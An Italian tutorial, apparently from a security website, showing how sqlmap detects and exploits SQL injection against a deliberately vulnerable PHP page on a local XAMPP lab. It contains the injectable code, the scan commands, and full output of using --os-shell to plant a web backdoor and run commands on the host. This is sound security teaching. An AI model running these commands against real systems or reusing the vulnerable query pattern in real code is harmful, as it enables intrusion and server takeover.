back to top

Verificare la vulnerabilità ad attacchi SQL Injection tramite sqlmap

Tra le vulnerabilità applicative più gravi e diffuse una nota di merito riguarda le SQL-Injection. Nonostante la teoria e le raccomandazioni a riguardo non abbiano subito particolari evoluzioni negli ultimi dieci/quindici anni, questa classe di vulnerabilità rimane uno dei principali incubi per programmatori e manutentori di applicativi Web e, al contempo, uno dei più appetibili target per aggressori interni e esterni; la sua rilevanza è tale da essere permanentemente inserita nelle varie Top Ten List di vulnerabilità indicate da OWASP (Open Web Application Security Project).

In questo articolo presenteremo sqlmap, un potente strumento open-source per automatizzare il processo di discovery ed exploit di SQL-Injection adattandosi al DBMS utilizzato come back-end dall’applicazione target.

Prerequisiti

Questo articolo è rivolto a lettori già in possesso delle basilari nozioni di SQL-Injection; in questo testo non saranno trattate le cause di questa vulnerabilità e/o le contromisure per evitarla, così come non sarà introdotto il linguaggio SQL la cui conoscenza, seppur di base, è considerato un prerequisito necessario ad una proficua lettura dell’articolo.

sqlmap

sqlmap è uno strumento open-source che promette di automatizzare la fasi di discovery ed exploit delle vulnerabilità classificabili come "SQL-Injection"; sviluppato interamente in Python, sqlmap è pertanto disponibile per tutti i maggiori sistemi operativi. sqlmap rappresenta uno strumento completo per l’analisi delle SQL-Injection in quanto:

  • è in grado di rilevare il tipo di DBMS target (DBMS fingerprinting), adattando il proprio comportamento di conseguenza;
  • implementa diverse strategie, spesso complesse da analizzare manualmente, per evidenziare eventuali vulnerabilità;
  • individuate le vulnerabilità, permette un rapido exploit del DBMS e, se le condizioni al contorno lo permettono, del sistema host.

Ottenere sqlmap

Vista la sua enorme popolarità, ottenere sqlmap è estremamente semplice; normalmente si procede ad un download diretto dal sito ospitato su SourceForge, ove è possibile scaricare un archivio (platform-independent) o un pacchetto binario per le maggiori distribuzioni GBU/Linux o per Windows.

Per chi desidera usare e testare sempre l’ultima versione in sviluppo, è possibile procedere al checkout del repository Subversion attraverso il comando:

svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

Si osservi che, essendo codice in fase di sviluppo, il repository Subversion contiene spesso versioni di sqlmap affette da bugs che possono influire notevolmente sul funzionamento del software.

Strategie di ricerca

sqlmap implementa tre strategie per verificare l’esistenza di una vulnerabilità di SQL-Injection:

  • UNION ALL: una delle tecniche principe per sfruttare una SQL-Injection risiede nell’utilizzo di una UNION ALL per collegare al risultato legittimo i dati provenienti da una seconda query; sqlmap inserisce nei parametri vulnerabili dell’applicazione stringhe contenenti una query quale UNION ALL SELECT ‘a’, null …, identificando dal risultato se l’esecuzione ha avuto successo;
  • Stacked queries: stacked queries significa eseguire query multiple, impilandole all’interno di una sola chiamata. Al contrario di quanto sostenuto da molti, non è il DBMS a determinare se sia possibile utilizzare tale tecnica ma la coppia DBMS/Web Framework: noto è l’esempio di MS SQL Server su ASP/ASP.NET e PHP, ma questa caratteristica è disponibile anche su PostgreSQL con ASP/ASP.NET/PHP e su MySQL con ASP.NET. Se le stacked queries sono abilitate e l’applicazione è vulnerabile, è possibile inserire codice SQL arbitrario semplicemente interrompendo la query corrente ed inserendone una nuova a seguire (es. ‘; SELECT …; —);
  • Inferential blind SQL injection; non tutte le SQL-Injection sono facilmente riconoscibili: le più evidenti mostrano in output sulla pagina web informazioni di errore che ne permettono una facile identificazione ed exploit; altre, in ambienti meglio configurati, non mostrano in output alcuna differenza se la query presenta errori sintattici. Quest’ultime sono decisamente più difficili da individuare e sfruttare in quanto l’aggressore deve necessariamente procedere "alla cieca"; in ogni caso esistono alcuni test basati su logica booleana e sui tempi di risposta che permettono di determinare con un elevato grado di confidenza la presenza di una SQL-Injection; sqlmap implementa molteplici controlli di questa tipologia, atti a coprire gran parte delle casistiche.

DBMS fingerprinting

SQL è un linguaggio standardizzato, in sintassi e semantica, da quasi 25 anni. In realtà, alla teoria non è susseguita la pratica e oggigiorno nessun DBMS può considerarsi strettamente conforme alle specifiche rilasciate nei vari standard. Al contrario gran parte dei DBMS commerciali hanno introdotto diversi costrutti e concetti che sostanzialmente stravolgono il concetto di linguaggio dichiarativo per cui il SQL fu progettato. Questo, se da un lato implica che il codice SQL è difficilmente portabile da un DBMS ad un altro, dall’altro avvantaggia un aggressore che cerchi di identificare quale sistema è in uso su un determinato target: se il target affetto da SQL-Injection risponde a certi comandi caratteristici di un particolare DBMS allora il riconoscimento è immediato. Ciò è fondamentale se si considera che gran parte dei DBMS permette, in un modo o in un altro, di eseguire comandi direttamente sull’host, introducendo la possibilità di ottenere una shell remota.

sqlmap esegue numerosi test per determinare il DBMS utilizzato a supporto dell’applicazione, includendo controlli specifici per MySQL, Oracle, PostgreSQL e Microsoft SQL Server. sqlmap inoltre acclude un supporto di base per identificare sistemi quali Microsoft Access, DB2, Informix, Sybase e Interbase.

SQL-Injection con sqlmap

Sospendiamo la teoria e passiamo alla pratica. Prepariamo un piccolo ambiente virtuale con XAMMP, il pacchetto multi piattaforma contenente Apache, MySQL e PHP, e realizziamo una semplice pagina PHP vulnerabile tipo:

<html>
  <body>
<?
$username="root";
$password="";
$database="testdb";

$product=$_GET['id'];

mysql_connect('localhost',$username,$password);
@mysql_select_db($database) or die( "Unable to select database");

$query = "SELECT * FROM products WHERE id=".$product;
$result = mysql_query($query);
$data = mysql_fetch_array($result);

echo "<p>Prodotto: ".$data['name']."</p>";
mysql_close();
?>
  </body>
</html>

Creiamo il nostro database di test tramite le seguenti queries:

CREATE DATABASE testdb;

CREATE TABLE products (
id int,
name varchar(50)
);

INSERT INTO products (id, name) VALUES
(0, "pallone"),
(1, "guanto"),
(2, "scarpette");

Il parametro id è vulnerabile in quanto inserito senza alcun controllo nella query. Per eseguire sqlmap è necessario indicare il target da esaminare tramite l’opzione -u o –url; eseguendo la scansione otteniamo:

# ./sqlmap -u "http://localhost/demo.php?id=1" -v 1

    sqlmap/0.8 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net
    
[*] starting at: 15:32:09

[15:32:09] [INFO] using '/root/.sqlmap/output/localhost/session' as session file
[15:32:09] [INFO] testing connection to the target url
[15:32:09] [INFO] testing if the url is stable, wait a few seconds
[15:32:10] [INFO] url is stable
[15:32:10] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[15:32:10] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[15:32:10] [INFO] testing if GET parameter 'id' is dynamic
[15:32:10] [INFO] confirming that GET parameter 'id' is dynamic
[15:32:10] [INFO] GET parameter 'id' is dynamic
[15:32:10] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[15:32:10] [INFO] testing unescaped numeric injection on GET parameter 'id'
[15:32:10] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[15:32:10] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[15:32:10] [INFO] testing for parenthesis on injectable parameter
[15:32:10] [INFO] the injectable parameter requires 0 parenthesis
[15:32:10] [INFO] testing MySQL
[15:32:10] [INFO] confirming MySQL
[15:32:10] [INFO] retrieved: 9
[15:32:10] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0

[*] shutting down at: 15:32:10

Come previsto, sqlmap ha identificato l’injection sul prametro id e ha determinato correttamente la versione del web server, del DBMS e del framework PHP. Verificata la vulnerabilità, procediamo nell’analisi automatica per ottenere qualcosa di più interessante: ad esempio, una shell remota. Per ottenere una shell remota, eseguiamo nuovamente sqlmap con l’opzione –os-shell; si osservi che, a prescindere dalla vulnerabilità in esame, non tutte le coppie sistema operativo/DBMS permettono di ottenere una shell.

sqlmap mantiene una cache relativa le scansioni eseguite e i risultati ottenuti; pertanto rieseguendo il test sulla stessa pagina il programma eviterà di riesaminare id alla ricerca di vulnerabilità.

# ./sqlmap -u "http://localhost/demo.php?id=1" -v 1 --os-shell

    sqlmap/0.8 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net
    
[*] starting at: 15:36:22

[15:36:23] [INFO] testing stacked queries support on parameter 'id'
[15:36:23] [INFO] detecting back-end DBMS version from its banner
[15:36:23] [INFO] retrieved: 5.1.41
[15:36:23] [WARNING] the web application does not support stacked queries on parameter 'id'
[15:36:23] [INFO] going to use a web backdoor for command prompt
[15:36:23] [INFO] fingerprinting the back-end DBMS operating system
[15:36:23] [INFO] retrieved: /
[15:36:23] [INFO] the back-end DBMS operating system is Linux
[15:36:23] [INFO] trying to upload the uploader agent
which web application language does the web server support?
[1] ASP
[2] PHP (default)
[3] JSP
> 2

sqlmap ha rilevato che il sistema operativo del target è GNU/Linux. Per ottenere la shell, sqlmap necessità di conoscere il linguaggio del framework web su cui si regge l’applicativo: questa informazione è necessaria per costruire una pagina web che realizzi una shell remota. Confermiamo il default (2, PHP) e procediamo:

[15:36:25] [WARNING] unable to retrieve the web server document root
please provide the web server document root [/var/www/]: /opt/lampp/htdocs

sqlmap non è riuscito a determinare la root del web server, ove caricare la shell; sapendo che si tratta di un’installazione XAMMP, inseriamo /opt/lampp/htdocs e continuiamo:

please provide any additional web server full path to try to upload the agent [/var/www/]: /opt/lampp/htdocs

e specifichiamo nuovamente la root del web server; infine:

[15:36:28] [INFO] retrieved web server full paths: '/opt/xampp-1.7.3a/htdocs/demo.php'
[15:36:31] [INFO] the uploader agent has been successfully uploaded on '/opt/lampp/htdocs' ('http://localhost:80/tmpukmgu.php')
[15:36:31] [INFO] the backdoor has probably been successfully uploaded on '/opt/lampp/htdocs', go with your browser to 'http://localhost:80//tmpbfcjl.php' and enjoy it!
[15:36:31] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
nobody
---

os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
demo.php
favicon.ico
index.php
tmpukmgu.php
tmpbfcjl.php
webalizer
xampp
---

os-shell>

Abbiamo ottenuto con successo una shell sul sistema remoto! Come esplicitato dal comando whoami, la shell possiede i privilegi dell’utente con cui è in esecuzione il web server, in questo caso nobody (ma spesso addirittura root).

Conclusioni

sqlmap è un potente tool per effettuare scansioni alla ricerca di SQL-Injection, automatizzando sia la fase di discovery che quella di exploit: le svariate strategie e tecniche implementate rappresentano, il più delle volte, lo stato dell’arte per quanto riguarda il tema "SQL-Injection". Ciononostante è bene ricordare che un tool automatico non può sostituire completamente il controllo manuale e, per quanto estese, le verifiche effettuate da sqlmap non possono coprire ogni singola casistica. Come sempre, uno strumento è potente quanto l’utilizzatore che lo controlla è consapevole del suo funzionamento.

Approfondimenti e Riferimenti

Pubblicitร 

Leggi anche...

Autenticazione a due fattori (2FA): cos’è e come funziona

L'autenticazione a due fattori (in inglese Two Factor Authentication...

Authcode: cos’è e come funziona

Con il termine Authcode (o Auth-code) si fa riferimento...

HTTP Security Headers: aumentare la sicurezza del sito con .htaccess

Esistono diverse tecniche per innalzare il livello di sicurezza...

Criptare (e decriptare) file su Linux con OpenSSL

OpenSSL è un'implementazione rilasciata sotto licenza Open Source dei...

Cos’è una Botnet?

Con il termine botnet si fa riferimento ad una...

DDoS: cos’è, come funziona e come difendersi

Un DDoS (acronimo di Distribuited Denial of Service) รจ...
Pubblicitร